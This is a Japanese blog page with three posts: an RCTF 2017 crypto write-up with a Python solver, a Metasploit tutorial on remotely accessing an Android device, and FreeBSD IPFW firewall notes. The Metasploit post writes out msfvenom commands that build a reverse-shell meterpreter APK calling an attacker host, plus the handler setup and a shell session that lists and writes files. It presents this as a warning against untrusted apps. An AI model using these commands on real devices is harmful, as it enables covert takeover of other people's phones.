読者です 読者をやめる 読者になる 読者になる

RCTF 2017 Writeup(供養)

RCTF2017にチーム:Harekazeの一員として参加してました。チームとしては8問解き2060点、そのうち1問を私が解きました。

[Misc] baby enc 434pts

baby_enc.zip

unzipするとOutuput.txtとenc.pyが渡される

hintにWindowsでやらないと結果が少し違うみたいなことが書かれてあるのでWindowsスクリプトを組む

enc.pyの中身は

import codecs
def enc(s, t):
    if t:
        l = list(map(ord, s))
        return enc(''.join(list(map(chr, [l[i]^l[i+1] for i in range(len(l)-1)]))), t-1)
    else:
        return s

with open('in.txt') as f:
    s = enc(f.read(), 5)
with open('out.txt', 'w') as f:
    f.write(s)

となっており、in.txtの中身を暗号化してout.txtに出力している。

この暗号化一見復号は無理そうだが、flagに限ってのみ復号が可能である。

最終的な出力結果についてだが入力をl[]の配列とすると

return s = [l[0]^l[4]^l[1]^l5], l[1]^l[5]^l[2]^l[6], .....]

のようになる。flagの形式がRCTF{…..}でRCTF{のここから5文字がわかることにより

l[0] = R
l[4] = {
l[1] = C
l[5] = ?

のように考えればl[5]がわかる。l[5]がわかればl[6]がわかる。最後に}が現れることを考えてコードを組む。

あとはどこからRCTFの文字列が始まるかを探すだけだがそれは総当りしておけば良い

そんなわけでソルバ

import codecs

def enc(s, t):
    if t:
        l = list(map(ord, s))
        return enc(''.join(list(map(chr, [l[i]^l[i+1] for i in range(len(l)-1)]))), t-1)
    else:
        return s


tmp=""
with open('out.txt','r') as f:
    tmp=f.read()
test = list(map(ord,tmp))
for i in range(len(test)-5):
    lis = list(map(ord,"RCTF{"))
    tmpi = i
    for j in range(len(test)-5-i):
        tmp = lis[j]^lis[j+1]^lis[j+4]^test[tmpi]
        tmpi+=1
        if chr(tmp) == "}":
            lis.append(tmp)
            print(str(i)+" results: "+''.join(map(chr,lis)))
            break
        elif chr(tmp) == "\n":
            break
        elif tmp < 43:
            break
        else:
            lis.append(tmp)

変数名の付け方はひどいが気にするな!!

flag:RCTF{te1l_mE_tHe_wAy_you_so1ve_thIs}

Metasploitを用いたAndroidの覗き見

はじめに

この記事は遠隔操作を推奨するものではありません。またこの記事を見た個人が何をしようとその責任は持ちません。

要はこういう技術はあるけど悪用すんなって話で、かつこのようにすれば覗き見られる可能性があるためその警鐘を鳴らす意味合いの記事です。

怪しいアプリ、信頼できないアプリはインストールしない!

必要なもの

環境

計算機 バージョン等
OS Ubuntu 14.04 64bit
Metasploit Version 4.12.22

手順

  • AndroidにインストールするAPKの作成
  • 計算機で遠隔操作の待受
  • Androidに上述したAPKのインストールと起動
  • 計算機からの遠隔操作

AndroidにインストールするAPKの作成

$ ip a
(snip)
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:5f:f4:5b:1c:e7 brd ff:ff:ff:ff:ff:ff
    inet 192.33.18.170/24 brd 192.33.18.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::be5f:f4ff:fe5b:1ce7/64 scope link 
       valid_lft forever preferred_lft forever
(snip)

IP addres=192.33.18.170ポートは使用されていないポートを適当に使いましょう。今回はPORT = 443とします。

# msfvenom -p /android/meterpreter/reverse_tcp LHOST=(your ip addres) LPORT=(your port) R > hack.apk

AndroidにインストールするAPKを作成します。私の場合だとこうなります。

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk

msfpayloadコマンドだと下記のようになります。

# msfpayload android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk

計算機で遠隔操作の待受

作成したアプリを起動すると接続が始まるので、待ち受ける必要があります。 LHOSTとLPORTは環境に合わせて変えてください

# msfconsole

       =[ metasploit v4.12.22-dev-03e14ec                 ]
+ -- --=[ 1577 exploits - 906 auxiliary - 271 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp 
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.33.18.170
LHOST => 133.68.18.170
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.33.18.170:443 
[*] Starting the payload handler...

これで待ち受けは完了です。Androidで作成したAPKを起動することで遠隔操作可能となります。

AndroidへのAPKのインストールと起動

adbを用いてインストールします。

$ adb install hack.apk

インストールしたらAndroid(Emulator)端末にMainActivityというアプリがあるのでそれを起動します。 すると計算機のコンソールのほうが

[*] Sending stage (63234 bytes) to 192.33.18.170
[*] Meterpreter session 1 opened (192.33.18.170:443 -> 192.33.18.170:45939) at 2017-05-18 20:01:07 +0900

meterpreter >

となります。この状況でsysinfoと打ち込むと

meterpreter > sysinfo
Computer    : localhost
OS          : Android 7.1.1 - Linux 3.10.0+ (i686)
Meterpreter : java/android

このようにandroidの情報が入手できます。

shellと打ち込むとAndroidのシェルに入ることができます。

meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),50076(all_a76) context=u:r:untrusted_app:s0:c512,c768
ls
ls: .: Permission denied

idがアプリのidとなるのでパーミッションが適切に設定されているAndroid7.1.1ではlsすら拒絶されました。

ちなみにAndroid Emulator 4.4.2で試したところlsコマンドで何があるか確認できました。

わかりにくいので自分で打ったコマンドの前には$をつけました。実際はないです。

meterpreter > sysinfo
Computer    : localhost
OS          : Android 4.4.2 - Linux 3.10.0+ (i686)
Meterpreter : java/android
meterpreter > shell
Process 1 created.
Channel 1 created.
$ id
uid=10089(u0_a89) gid=10089(u0_a89) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50089(all_a89)
$ ls
acct
cache
config
d
data
default.prop
dev
etc
file_contexts
fstab.goldfish
fstab.ranchu
init
init.environ.rc
init.goldfish.rc
init.ranchu.rc
init.rc
init.trace.rc
init.usb.rc
mnt
proc
property_contexts
root
sbin
sdcard
seapp_contexts
sepolicy
storage
sys
system
ueventd.goldfish.rc
ueventd.ranchu.rc
ueventd.rc
vendor
$ cd sdcard
$ touch test.txt
$ ls
test.txt

sdcardのwビットが立ってたみたいで書き込みもできました。

Android7と4ではパーミッションが大きく変わっていることを初めて知りました。

最後に

怪しいアプリはインストールしない!

FreeBSDのファイアーウォール

はじめに

FreeBSDではIPFWを用いてパケットフィルタリングを行うことが可能である。利用方法についてこの記事で書いていく(備忘録的な意味合いが強い)

IPFWの準備

FreeBSDのインストール時に通常はipfwは入っているのでインストールの話は触れません。

# ipfw -h

このコマンドでCommand not foundとでなければipfwはすぐに使えます。もしなかった場合はカーネル再構築の必要があるのでここ等を参考にしてインストールしてください。

IPFWを利用するには/etc/rc.confIPFWを利用する記述を行います。

/etc/rc.conffirewall_enable="YES"を記述します。

# vi /etc/rc.conf

keymap="jp.106.kbd"
ifconfig_re0="DHCP"
ifconfig_re0_ipv6="inet6 accept_rtadv"
sshd_enable="YES"
apache24_enable="YES"

firewall_enable="YES"

# Set dumpdev to "AUTO" to enable crash dumps, "NO" to disable
dumpdev="AUTO"

IPFWの起動と終了

  • IPFWの起動方法
# /etc/rc.d/ipfw start
  • IPFWの停止方法
# /etc/rc.d/ipfw stop
# /etc/rc.d/ipfw restart

フィルタの見方

/etc/rc.confの書き込み時にfirewall_enableのみの書き込みをするとフィルタリングの設定は/etc/rc.firewallから引っ張ってきます。

デフォルトの設定はこのようになっています。

00100      0        0 allow ip from any to any via lo0
00200      0        0 deny ip from any to 127.0.0.0/8
00300      0        0 deny ip from 127.0.0.0/8 to any
00400      0        0 deny ip from any to ::1
00500      0        0 deny ip from ::1 to any
00600      2      136 allow ipv6-icmp from :: to ff02::/16
00700      0        0 allow ipv6-icmp from fe80::/10 to fe80::/10
00800      0        0 allow ipv6-icmp from fe80::/10 to ff02::/16
00900      0        0 allow ipv6-icmp from any to any ip6 icmp6types 1
01000      0        0 allow ipv6-icmp from any to any ip6 icmp6types 2,135,136
65535 210437 31011115 deny ip from any to any

1フィールド目がフィルタの番号、4フィールド目がルールになります。番号の小さい順にルールが適用されていき最後の65535番のルールで残ったパケットを拒否します。

デフォルトの設定だと他の計算機からのアクセスを拒絶します。

フィルタの設定(既に起動しているipfwにルールを追加する)

ipfwが起動している場合はipfwコマンドを利用して新規にルールを追加していきます。

コマンドは下記のようなフォーマットで作成していきます。

# ipfw add    300    allow    ip from 133.68.18.100 to any
  ipfw (命令) (番号) (許可/拒否) (対象)

ルールを追加する際は命令をaddに、ルールを消去する際は命令をdeleteにしていくという感じになります。

fromは送信元の指定、toは送信先への指定となります

  • パケット許可のルール例
# ipfw add 350 allow ip from 133.68.18.100 to any 

# ipfw add 450 allow tcp from 133.20.11.3 to 133.20.11.3

# ipfw add 65000 allow ip from any to any
  • パケット拒絶のルール例
# ipfw add 350 deny ip from 133.68.18.100 to any 

# ipfw add 450 deny tcp from 133.68.20.11.3 to any 

フィルタの設定(ipfwの起動前にルールを設定する)

この場合は/etc/rc.firewallに記述する必要があります。/etc/rc.firewallシェルスクリプトなので、上のコマンドを記述すれば問題ありません。

# vi /etc/rc.firewall

setup_loopback
setup_ipv6_mandatory

${fwcmd} add 1100 deny ip from 133.68.18.105 to any
${fwcmd} add 1200 allow tcp from any to any

デフォルトのファイルにfwcmd="/sbin/ipfw -q"となっていたのでこんな記述方式になります。

書き込んだ後、ipfwを再起動すると

# ipfw -a list
00100      0        0 allow ip from any to any via lo0
00200      0        0 deny ip from any to 127.0.0.0/8
00300      0        0 deny ip from 127.0.0.0/8 to any
00400      0        0 deny ip from any to ::1
00500      0        0 deny ip from ::1 to any
00600      0        0 allow ipv6-icmp from :: to ff02::/16
00700      0        0 allow ipv6-icmp from fe80::/10 to fe80::/10
00800      0        0 allow ipv6-icmp from fe80::/10 to ff02::/16
00900      0        0 allow ipv6-icmp from any to any ip6 icmp6types 1
01000      0        0 allow ipv6-icmp from any to any ip6 icmp6types 2,135,136
01100      0        0 deny ip from 133.68.18.105 to any
01200     59     4520 allow tcp from any to any
65535 629543 92603950 deny ip from any to any

と設定されています。